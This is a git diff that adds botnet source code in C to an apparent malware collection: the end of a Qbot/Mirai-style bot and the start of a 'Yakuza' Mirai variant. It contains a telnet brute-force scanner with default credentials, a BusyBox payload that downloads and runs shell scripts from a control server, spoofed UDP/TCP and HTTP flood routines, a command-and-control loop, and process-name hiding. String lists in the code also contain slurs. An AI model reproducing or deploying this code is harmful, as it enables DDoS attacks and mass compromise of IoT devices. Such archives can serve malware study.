strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {+ reset_telstate(&fds[i]);+ continue;+ }+ if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {+ reset_telstate(&fds[i]);+ continue;+ }+ advance_state(&fds[i], 6);+ }+ break;+ case 6: {+ if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {+ fds[i].totalTimeout = time(NULL);+ if(contains_fail(fds[i].sockbuf)) {+ advance_state(&fds[i], 0);+ }+ else if(contains_success(fds[i].sockbuf)) {+ if(fds[i].complete == 2) {+ advance_state(&fds[i], 7);+ } else {+ botnetPrint(KadenCommStock, "Eragon Bruted -> %s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);+ advance_state(&fds[i], 7);+ }+ } else {+ reset_telstate(&fds[i]);+ }+ continue;+ }+ if(fds[i].totalTimeout + 7 < time(NULL)) {+ reset_telstate(&fds[i]);+ }+ }+ break;+ case 7: {+ fds[i].totalTimeout = time(NULL);+ if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) <0);+ if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0);+ if(send(fds[i].fd, BusyBoxPayload, strlen(BusyBoxPayload), MSG_NOSIGNAL) < 0) {+ reset_telstate(&fds[i]);+ continue;+ }+ if(fds[i].totalTimeout + 25 < time(NULL)) {+ if(fds[i].complete !=3){+ }+ reset_telstate(&fds[i]);+ }+ break;+ }+ }+ }+ }+}+void makeRandomStr(unsigned char *buf, int length) {+ int i = 0;+ for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;+}+unsigned short csum (unsigned short *buf, int count) {+ register uint64_t sum = 0;+ while( count > 1 ) { sum += *buf++; count -= 2; }+ if(count > 0) { sum += *(unsigned char *)buf; }+ while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }+ return (uint16_t)(~sum);+}+unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {+ struct tcp_pseudo {+ unsigned long src_addr;+ unsigned long dst_addr;+ unsigned char zero;+ unsigned char proto;+ unsigned short length;+ } pseudohead;+ unsigned short total_len = iph->tot_len;+ pseudohead.src_addr=iph->saddr;+ pseudohead.dst_addr=iph->daddr;+ pseudohead.zero=0;+ pseudohead.proto=IPPROTO_TCP;+ pseudohead.length=htons(sizeof(struct tcphdr));+ int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);+ unsigned short *tcp = malloc(totaltcp_len);+ memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));+ memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));+ unsigned short output = csum(tcp,totaltcp_len);+ free(tcp);+ return output;+}+void SendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {+ int socket, i, end = time(NULL) + timeEnd, sendIP = 0;+ char request[512], buffer[1];+ for (i = 0; i < power; i++) {+ sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, useragents[(rand() % 36)]);+ if (fork()) {+ while (end > time(NULL)) {+ socket = socket_connect(host, port);+ if (socket != 0) {+ write(socket, request, strlen(request));+ read(socket, buffer, 1);+ close(socket);+ }+ }+ exit(0);+ }+ }+}++void SendHTTPHex(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {+ int socket, i, end = time(NULL) + timeEnd, sendIP = 0;+ char request[512], buffer[1], hex_payload[2048];+ sprintf(hex_payload, "\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA");+ for (i = 0; i < power; i++) {+ sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, hex_payload, host, useragents[(rand() % 36)]);+ if (fork()) {+ while (end > time(NULL)) {+ socket = socket_connect(host, port);+ if (socket != 0) {+ write(socket, request, strlen(request));+ read(socket, buffer, 1);+ close(socket);+ }+ }+ exit(0);+ }+ }+}+void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {+ iph->ihl = 5;+ iph->version = 4;+ iph->tos = 0;+ iph->tot_len = sizeof(struct iphdr) + packetSize;+ iph->id = rand_cmwc();+ iph->frag_off = 0;+ iph->ttl = MAXTTL;+ iph->protocol = protocol;+ iph->check = 0;+ iph->saddr = source;+ iph->daddr = dest;+}+int sclose(int fd) {+ if(3 > fd) return 1;+ close(fd);+ return 0;+}+void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime) {+ struct sockaddr_in dest_addr;+ dest_addr.sin_family = AF_INET;+ if(port == 0) dest_addr.sin_port = rand_cmwc();+ else dest_addr.sin_port = htons(port);+ if(getHost(target, &dest_addr.sin_addr)) return;+ memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);+ register unsigned int pollRegister;+ pollRegister = pollinterval;+ if(spoofit == 32) {+ int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);+ if(!sockfd) {+ #ifdef PRINTS+ botnetPrint(KadenCommStock, "Failed opening raw socket.");+ #endif+ return;+ }+ unsigned char *buf = (unsigned char *)malloc(packetsize + 1);+ if(buf == NULL) return;+ memset(buf, 0, packetsize + 1);+ makeRandomStr(buf, packetsize);+ int end = time(NULL) + timeEnd;+ register unsigned int i = 0;+ register unsigned int ii = 0;+ while(1) {+ sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));+ if(i == pollRegister) {+ if(port == 0) dest_addr.sin_port = rand_cmwc();+ if(time(NULL) > end) break;+ i = 0;+ continue;+ }+ i++;+ if(ii == sleepcheck) {+ usleep(sleeptime*1000);+ ii = 0;+ continue;+ }+ ii++;+ }+ } else {+ int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);+ if(!sockfd) {+ #ifdef PRINTS+ botnetPrint(KadenCommStock, "Failed opening raw socket.");+ #endif+ return;+ }+ int tmp = 1;+ if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {+ #ifdef PRINTS+ botnetPrint(KadenCommStock, "Failed setting raw headers mode.");+ #endif+ return;+ }+ int counter = 50;+ while(counter--) {+ srand(time(NULL) ^ rand_cmwc());+ init_rand(rand());+ }+ in_addr_t netmask;+ if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );+ else netmask = ( ~((1 << (32 - spoofit)) - 1) );+ unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];+ struct iphdr *iph = (struct iphdr *)packet;+ struct udphdr *udph = (void *)iph + sizeof(struct iphdr);+ makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GRIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);+ udph->len = htons(sizeof(struct udphdr) + packetsize);+ udph->source = rand_cmwc();+ udph->dest = (port == 0 ? rand_cmwc() : htons(port));+ udph->check = 0;+ makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);+ iph->check = csum ((unsigned short *) packet, iph->tot_len);+ int end = time(NULL) + timeEnd;+ register unsigned int i = 0;+ register unsigned int ii = 0;+ while(1) {+ sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));+ udph->source = rand_cmwc();+ udph->dest = (port == 0 ? rand_cmwc() : htons(port));+ iph->id = rand_cmwc();+ iph->saddr = htonl( GRIP(netmask) );+ iph->check = csum ((unsigned short *) packet, iph->tot_len);+ if(i == pollRegister) {+ if(time(NULL) > end) break;+ i = 0;+ continue;+ }+ i++;+ if(ii == sleepcheck) {+ usleep(sleeptime*1000);+ ii = 0;+ continue;+ }+ ii++;+ }+ }+}+void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval) {+ register unsigned int pollRegister;+ pollRegister = pollinterval;+ struct sockaddr_in dest_addr;+ dest_addr.sin_family = AF_INET;+ if(port == 0) dest_addr.sin_port = rand_cmwc();+ else dest_addr.sin_port = htons(port);+ if(getHost(target, &dest_addr.sin_addr)) return;+ memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);+ int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);+ if(!sockfd) {+ #ifdef PRINTS+ botnetPrint(KadenCommStock, "Failed opening raw socket.");+ #endif+ return;+ }+ int tmp = 1;+ if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {+ #ifdef PRINTS+ botnetPrint(KadenCommStock, "Failed setting raw headers mode.");+ #endif+ return;+ }+ in_addr_t netmask;+ if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );+ else netmask = ( ~((1 << (32 - spoofit)) - 1) );+ unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];+ struct iphdr *iph = (struct iphdr *)packet;+ struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);+ makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GRIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);+ tcph->source = rand_cmwc();+ tcph->seq = rand_cmwc();+ tcph->ack_seq = 0;+ tcph->doff = 5;+ if(!strcmp(flags, "all")) {+ tcph->syn = 1;+ tcph->rst = 1;+ tcph->fin = 1;+ tcph->ack = 1;+ tcph->psh = 1;+ } else {+ unsigned char *pch = strtok(flags, ",");+ while(pch) {+ if(!strcmp(pch, "syn")) {+ tcph->syn = 1;+ } else if(!strcmp(pch, "rst")) {+ tcph->rst = 1;+ } else if(!strcmp(pch, "fin")) {+ tcph->fin = 1;+ } else if(!strcmp(pch, "ack")) {+ tcph->ack = 1;+ } else if(!strcmp(pch, "psh")) {+ tcph->psh = 1;+ } else {+ #ifdef PRINTS+ botnetPrint(KadenCommStock, "Invalid flag \"%s\"", pch);+ #endif+ }+ pch = strtok(NULL, ",");+ }+ }+ tcph->window = rand_cmwc();+ tcph->check = 0;+ tcph->urg_ptr = 0;+ tcph->dest = (port == 0 ? rand_cmwc() : htons(port));+ tcph->check = tcpcsum(iph, tcph);+ iph->check = csum ((unsigned short *) packet, iph->tot_len);+ int end = time(NULL) + timeEnd;+ register unsigned int i = 0;+ while(1) {+ sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));+ iph->saddr = htonl( GRIP(netmask) );+ iph->id = rand_cmwc();+ tcph->seq = rand_cmwc();+ tcph->source = rand_cmwc();+ tcph->check = 0;+ tcph->check = tcpcsum(iph, tcph);+ iph->check = csum ((unsigned short *) packet, iph->tot_len);+ if(i == pollRegister) {+ if(time(NULL) > end) break;+ i = 0;+ continue;+ }+ i++;+ }+}+void sendSTD(unsigned char *ip, int port, int secs) {+int iSTD_Sock;+iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);+time_t start = time(NULL);+struct sockaddr_in sin;+struct hostent *hp;+hp = gethostbyname(ip);+bzero((char*) &sin,sizeof(sin));+bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);+sin.sin_family = hp->h_addrtype;+sin.sin_port = port;+unsigned int a = 0;+while(1){+char *randstrings[] = {"VSzNC0CJti3ouku", "yhJyMAqx7DZa0kg", "1Cp9MEDMN6B5L1K", "miraiMIRAI", "stdflood4", "7XLPHoxkvL", "jmQvYBdRZA", "eNxERkyrfR", "qHjTXcMbzH", "chickennuggets", "ilovecocaine", "666666", "88888888", "0nnf0l20im", "uq7ajzgm0a", "loic", "ParasJhaIsADumbFag", "stdudpbasedflood", "bitcoin1", "password", "encrypted", "suckmyFOUND", "guardiacivil", "2xoJTsbXunuj", "QiMH8CGJyOj9", "abcd1234", "GLEQWXHAJPWM", "ABCDEFGHI", "abcdefghi", "qbotbotnet", "lizardsquad", "aNrjBnTRi", "1QD8ypG86", "IVkLWYjLe", "kadenthegod", "satoriskidsnet"};+char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];+if (a >= 50)+{+send(iSTD_Sock, STD2_STRING, STD_PIGZ, 0);+connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));+if (time(NULL) >= start + secs)+{+close(iSTD_Sock);+_exit(0);+}+a = 0;+}+a++;+}+}+void processCmd(int argc, unsigned char *argv[]) {+ if(!strcmp(argv[0], "TELNET")) {+ if(!strcmp(argv[1], "OFF")) {+ if(botnetPid == 0) return;+ kill(botnetPid, 9);+ botnetPid = 0;+ }+ if(!strcmp(argv[1], "ON")) {+ if(botnetPid != 0) return;+ uint32_t parent;+ parent = fork();+ int threads = 1000;+ int timeout = 10;+ if (parent > 0) { botnetPid = parent; return;}+ else if(parent == -1) return;+ botnetTScan(timeout, threads);+ _exit(0);+ }+ }+ if(!strcmp(argv[0], "UDP")) {+ if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1)) {+ return;+ }+ unsigned char *ip = argv[1];+ int port = atoi(argv[2]);+ int time = atoi(argv[3]);+ int spoofed = atoi(argv[4]);+ int packetsize = atoi(argv[5]);+ int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);+ int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);+ int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);+ if(strstr(ip, ",") != NULL) {+ unsigned char *hi = strtok(ip, ",");+ while(hi != NULL) {+ if(!listFork()) {+ sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);+ _exit(0);+ }+ hi = strtok(NULL, ",");+ }+ } else {+ if (!listFork()){+ sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);+ _exit(0);+ }+ }+ return;+ }+ if(!strcmp(argv[0], "TCP")) {+ if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1)) {+ return;+ }+ unsigned char *ip = argv[1];+ int port = atoi(argv[2]);+ int time = atoi(argv[3]);+ int spoofed = atoi(argv[4]);+ unsigned char *flags = argv[5];+ int pollinterval = argc == 8 ? atoi(argv[7]) : 10;+ int psize = argc > 6 ? atoi(argv[6]) : 0;+ if(strstr(ip, ",") != NULL) {+ unsigned char *hi = strtok(ip, ",");+ while(hi != NULL) {+ if(!listFork()) {+ sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);+ _exit(0);+ }+ hi = strtok(NULL, ",");+ }+ } else {+ if (!listFork()) {+ sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);+ _exit(0);+ }+ }+ }+ if (!strcmp(argv[0], "HTTP"))+ {+ // !* HTTP METHOD TARGET PORT PATH TIME POWER+ // !* HTTP POST/GET/HEAD hackforums.net 80 / 10 100+ if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;+ if (listFork()) return;+ SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));+ exit(0);+ }+ if (!strcmp(argv[0], "HTTPHEX"))+ {+ if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;+ if (listFork()) return;+ SendHTTPHex(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));+ exit(0);+ }+if(!strcmp(argv[0], "STD")) //STD TARGET PORT TIME+{+if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)+{+return;+}+unsigned char *ip = argv[1];+int port = atoi(argv[2]);+int time = atoi(argv[3]);+if(strstr(ip, ",") != NULL)+{+unsigned char *hi = strtok(ip, ",");+while(hi != NULL)+{+if(!listFork())+{+sendSTD(hi, port, time);+_exit(0);+}+hi = strtok(NULL, ",");+}+} else {+if (listFork()) { return; }+sendSTD(ip, port, time);+_exit(0);+}+}+ if(!strcmp(argv[0], "KILLATTK")) {+ int killed = 0;+ unsigned long i;+ for (i = 0; i < numpids; i++) {+ if (pids[i] != 0 && pids[i] != getpid()) {+ kill(pids[i], 9);+ killed++;+ }+ }+ }+}+int getOurIP() {+ int sock = socket(AF_INET, SOCK_DGRAM, 0);+ if(sock == -1) return 0;+ struct sockaddr_in serv;+ memset(&serv, 0, sizeof(serv));+ serv.sin_family = AF_INET;+ serv.sin_addr.s_addr = inet_addr("8.8.8.8");+ serv.sin_port = htons(53);+ int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));+ if(err == -1) return 0;+ struct sockaddr_in name;+ socklen_t namelen = sizeof(name);+ err = getsockname(sock, (struct sockaddr*) &name, &namelen);+ if(err == -1) return 0;+ ourIP.s_addr = name.sin_addr.s_addr;+ int cmdline = open("/proc/net/route", O_RDONLY);+ char linebuf[4096];+ while(fdgets(linebuf, 4096, cmdline) != NULL) {+ if(strstr(linebuf, "\t00000000\t") != NULL) {+ unsigned char *pos = linebuf;+ while(*pos != '\t') pos++;+ *pos = 0;+ break;+ }+ memset(linebuf, 0, 4096);+ }+ close(cmdline);+ if(*linebuf) {+ int i;+ struct ifreq ifr;+ strcpy(ifr.ifr_name, linebuf);+ ioctl(sock, SIOCGIFHWADDR, &ifr);+ for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];+ }+ close(sock);+}+int getEndianness(void)+{+ union+ {+ uint32_t vlu;+ uint8_t data[sizeof(uint32_t)];+ } nmb;+ nmb.data[0] = 0x00;+ nmb.data[1] = 0x01;+ nmb.data[2] = 0x02;+ nmb.data[3] = 0x03;+ switch (nmb.vlu)+ {+ case UINT32_C(0x00010203):+ return "BIG_ENDIAN";+ case UINT32_C(0x03020100):+ return "LITTLE_ENDIAN";+ case UINT32_C(0x02030001):+ return "BIG_ENDIAN_W";+ case UINT32_C(0x01000302):+ return "LITTLE_ENDIAN_W";+ default:+ return "UNKNOWN";+ }+}+int initConnection() {+ unsigned char server[4096];+ memset(server, 0, 4096);+ if(KadenCommStock) { close(KadenCommStock); KadenCommStock = 0; }+ if(botnetServer + 1 == SERVER_LIST_SIZE) botnetServer = 0;+ else botnetServer++;+ strcpy(server, ServerInfo[botnetServer]);+ int port = Server_Botport;+ if(strchr(server, ':') != NULL) {+ port = atoi(strchr(server, ':') + 1);+ *((unsigned char *)(strchr(server, ':'))) = 0x0;+ }+ KadenCommStock = socket(AF_INET, SOCK_STREAM, 0);+ if(!connectTimeout(KadenCommStock, server, port, 30)) return 1;+ return 0;+}+int main(int argc, unsigned char *argv[]) {+ char name_buf[32];+ char id_buf[32];+ int name_buf_len;+ if(SERVER_LIST_SIZE <= 0) return 0;+ unlink(argv[0]);+ rand_init();+ name_buf_len = ((rand_next() % 4) + 3) * 4;+ rand_alphastr(name_buf, name_buf_len);+ name_buf[name_buf_len] = 0;+ util_strcpy(argv[0], name_buf);+ name_buf_len = ((rand_next() % 6) + 3) * 4;+ rand_alphastr(name_buf, name_buf_len);+ name_buf[name_buf_len] = 0;+ prctl(PR_SET_NAME, name_buf);+ srand(time(NULL) ^ getpid());+ rand_init();+ pid_t pid1;+ pid_t pid2;+ int status;+ getOurIP();+ if (pid1 = fork()) {+ waitpid(pid1, &status, 0);+ exit(0);+ } else if (!pid1) {+ if (pid2 = fork()) {+ exit(0);+ } else if (!pid2) {+ } else {+ }+ } else {+ }+ chdir("/");+ signal(SIGPIPE, SIG_IGN);+ while(1) {+ if(initConnection()) { continue; }+ botnetPrint(KadenCommStock, "\e[96m[%s] \e[97mConnected -> %s -> %s",getBuildz(), inet_ntoa(ourIP), getBuild(), getEndianness(), VERSION);+ char commBuf[4096];+ int got = 0;+ int i = 0;+ while((got = recvLine(KadenCommStock, commBuf, 4096)) != -1) {+ for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {+ unsigned int *newpids, on;+ for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];+ pids[on - 1] = 0;+ numpids--;+ newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));+ for (on = 0; on < numpids; on++) newpids[on] = pids[on];+ free(pids);+ pids = newpids;+ }+ commBuf[got] = 0x00;+ trim(commBuf);+ unsigned char *message = commBuf;+ if(*message == '!') {+ unsigned char *nickMask = message + 1;+ while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;+ if(*nickMask == 0x00) continue;+ *(nickMask) = 0x00;+ nickMask = message + 1;+ message = message + strlen(nickMask) + 2;+ while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;+ unsigned char *command = message;+ while(*message != ' ' && *message != 0x00) message++;+ *message = 0x00;+ message++;+ unsigned char *tmpcommand = command;+ while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }+ unsigned char *params[10];+ int paramsCount = 1;+ unsigned char *pch = strtok(message, " ");+ params[0] = command;+ while(pch) {+ if(*pch != '\n') {+ params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);+ memset(params[paramsCount], 0, strlen(pch) + 1);+ strcpy(params[paramsCount], pch);+ paramsCount++;+ }+ pch = strtok(NULL, " ");+ }+ processCmd(paramsCount, params);+ if(paramsCount > 1) {+ int q = 1;+ for(q = 1; q < paramsCount; q++) {+ free(params[q]);+ }+ }+ }+ }+ }+ return 0;+}diff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.yakuza.c b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.yakuza.cnew file mode 100644index 0000000..0309315--- /dev/null+++ b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.yakuza.c@@ -0,0 +1,1625 @@+// Yakuza Private Build 1.0+// Made by Scarface.++// i just fixed this shit, i released it broken some time ago and skids claimed they leaked lmao+// here i come to fix it for you+// greetings++#include <stdlib.h>+#include <stdarg.h>+#include <stdio.h>+#include <sys/socket.h>+#include <sys/types.h>+#include <netinet/in.h>+#include <arpa/inet.h>+#include <netdb.h>+#include <signal.h>+#include <strings.h>+#include <sys/utsname.h>+#include <unistd.h>+#include <fcntl.h>+#include <errno.h>+#include <netinet/ip.h>+#include <netinet/udp.h>+#include <netinet/tcp.h>+#include <sys/wait.h>+#include <sys/ioctl.h>+#include <net/if.h>+#include <time.h>+#include <dirent.h>+#include <limits.h>+#include <sys/stat.h>+#include <sys/time.h>+#include <string.h>+#include <stdint.h>+#include <stdio.h>+#include <sys/param.h>+#include <sys/time.h>++#define PHI 0x9e3779b9+#define PR_SET_NAME 15+#define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))+#define PAD_RIGHT 1+#define PAD_ZERO 2+#define PRINT_BUF_LEN 12+#define CMD_IAC 255+#define CMD_WILL 251+#define CMD_WONT 252+#define CMD_DO 253+#define CMD_DONT 254+#define OPT_SGA 3+#define SOCKBUF_SIZE 1024+#define STD2_SIZE 75+#define Version "Yakuza Build 1.0"++//--------------------------------------------------------------------------------------------------------------------------------------+//--------------------------------------------------------------------------------------------------------------------------------------+//--------------------------------------------------------------------------------------------------------------------------------------++unsigned char *commServer[] = { "127.0.0.1:23" };++char *payload = "cd /tmp; wget http://127.0.0.1/bins.sh; chmod 777 *; sh bins.sh; tftp -g 127.0.0.1 -r tftp.sh; chmod 777 *; sh tftp.sh; rm -rf *.sh";++char *tel_usernames[] =+{+ "root\0",+ "admin\0",+ "user\0",+ "login\0",+ "guest\0",+ "support\0"+ "default\0"+ "root\0",+};++char *tel_passwords[] =+{+ "root\0",+ "admin\0",+ "user\0",+ "login\0",+ "guest\0",+ "support\0"+ "default\0"+ "admin\0",+};++//--------------------------------------------------------------------------------------------------------------------------------------+//--------------------------------------------------------------------------------------------------------------------------------------+//--------------------------------------------------------------------------------------------------------------------------------------++char *tempdirs[] = {"/tmp/*", "/var/*", "/var/run/*", "/var/tmp/*", "/dev/netslink/*", "/dev/*", "/dev/shm/*", "/usr/*", "/opt/*", (char*) 0};+char *advances[] = {"mdm9625", "9615-cdp", "F600", "F660", "F609", "BCM", ":", "user", "ogin", "name", "pass", "dvrdvs", "nter", "User", "welcome", (char*)0};+char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "ailure", "bye", "exit", (char*)0};+char *successes[] = {"busybox", "$", "#", "shell", "dvrdvs", "mdm9625", "9615-cdp", "F600", "F660", "F609", ">", "version", "v", "system", "command", "help", "BCM", (char*)0};+char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};++struct telstate_t {+ int fd;+ unsigned int ip;+ unsigned char state;+ unsigned char complete;+ unsigned char usernameInd; /* username */+ unsigned char passwordInd; /* password */+ unsigned char tempdirsInd; /* tempdir */+ unsigned int tTimeout; /* totalTimeout */+ unsigned short bufUsed;+ char *sockbuf;+};+int initConnection();+void makeRandomStr(unsigned char *buf, int length);+int sockprintf(int sock, char *formatStr, ...);+char *inet_ntoa(struct in_addr in);+int mainCommSock = 0, currentServer = -1;+uint32_t *pids;+uint32_t scanPid;+uint64_t numpids = 0;+struct in_addr ourIP;+unsigned char macAddress[6] = {0};++char *getBuild() {+#if defined(__x86_64__) || defined(_M_X64)+ return "x86_64";+#elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86_)+ return "x86_32";+#elif defined(__ARM_ARCH_2__)+ return "ARM2";+#elif defined(__ARM_ARCH_3__) || defined(__ARM_ARCH_3M__)+ return "ARM3";+#elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)+ return "ARM4T";+#elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)+ return "ARM5"+#elif defined(__ARM_ARCH_6T2_) || defined(__ARM_ARCH_6T2_)+ return "ARM6T2";+#elif defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) || defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__)+ return "ARM6";+#elif defined(__ARM_ARCH_7__) || defined(__ARM_ARCH_7A__) || defined(__ARM_ARCH_7R__) || defined(__ARM_ARCH_7M__) || defined(__ARM_ARCH_7S__)+ return "ARM7";+#elif defined(__aarch64__)+ return "ARM64";+#elif defined(mips) || defined(__mips__) || defined(__mips)+ return "MIPS";+#elif defined(__sh__)+ return "SUPERH";+#elif defined(__powerpc) || defined(__powerpc__) || defined(__powerpc64__) || defined(__POWERPC__) || defined(__ppc__) || defined(__ppc64__) || defined(__PPC__) || defined(__PPC64__) || defined(_ARCH_PPC) || defined(_ARCH_PPC64)+ return "POWERPC";+#elif defined(__sparc__) || defined(__sparc)+ return "SPARC";+#elif defined(__m68k__)+ return "M68K";+#else+ return "UNKNOWN";+#endif+}+const char *uagents[] = {+ "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",+ "FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",+ "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",+ "TheSuBot/0.2 (www.thesubot.de)",+ "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",+ "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",+ "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",+ "FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",+ 